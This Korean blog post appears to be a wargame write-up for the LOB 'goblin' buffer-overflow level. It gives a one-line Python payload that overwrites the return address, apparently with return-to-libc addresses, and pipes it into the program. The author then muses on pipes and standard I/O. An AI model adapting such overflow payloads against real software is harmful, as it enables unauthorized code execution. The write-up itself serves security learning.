-
[LOB] cobolthacking 2021. 8. 24. 23:15
goblin.c 달라진 것은 strcpy에서 gets로 바뀌었다는 것이다
간단히 말해서 기존 입력은 프로그램을 실행할 때 인자값으로 값을 넣어준 것이고
이번 문제에선 프로그램 실행 후 값을 받는 것이다
payload의 원리는 이전 문제와 같다
(python -c 'print "A" * (16+4) + "\xe0\x8a\x05\x40" + "a"*4 + "\xf9\xbf\x0f\x40"';cat) | ./goblin
다만 | (pipe)를 사용해야한다
pipe는 왼쪽 명령어의 결과(stdout)를 오른쪽 명령어에 입력(stdin)을 하는 것이다
관련해서 찾아보다가 child process와 parent process의 개념이 나오고
이를 구현케한 코드들을 보게 되었는데 꽤나 흥미롭다 (커널 공부 해보고 싶다)
고로 표준 입출력에 대해 공부해보게 된 문제가 되었다
pipe에 대해서도!
success 'hacking' 카테고리의 다른 글
[LOB] orc (0) 2021.08.26 [LOB] goblin (0) 2021.08.25 [sstf2021] sqli102 (0) 2021.08.23 [sstf2021] sqli101 (0) 2021.08.22 [sstf2021] bof102 (0) 2021.08.21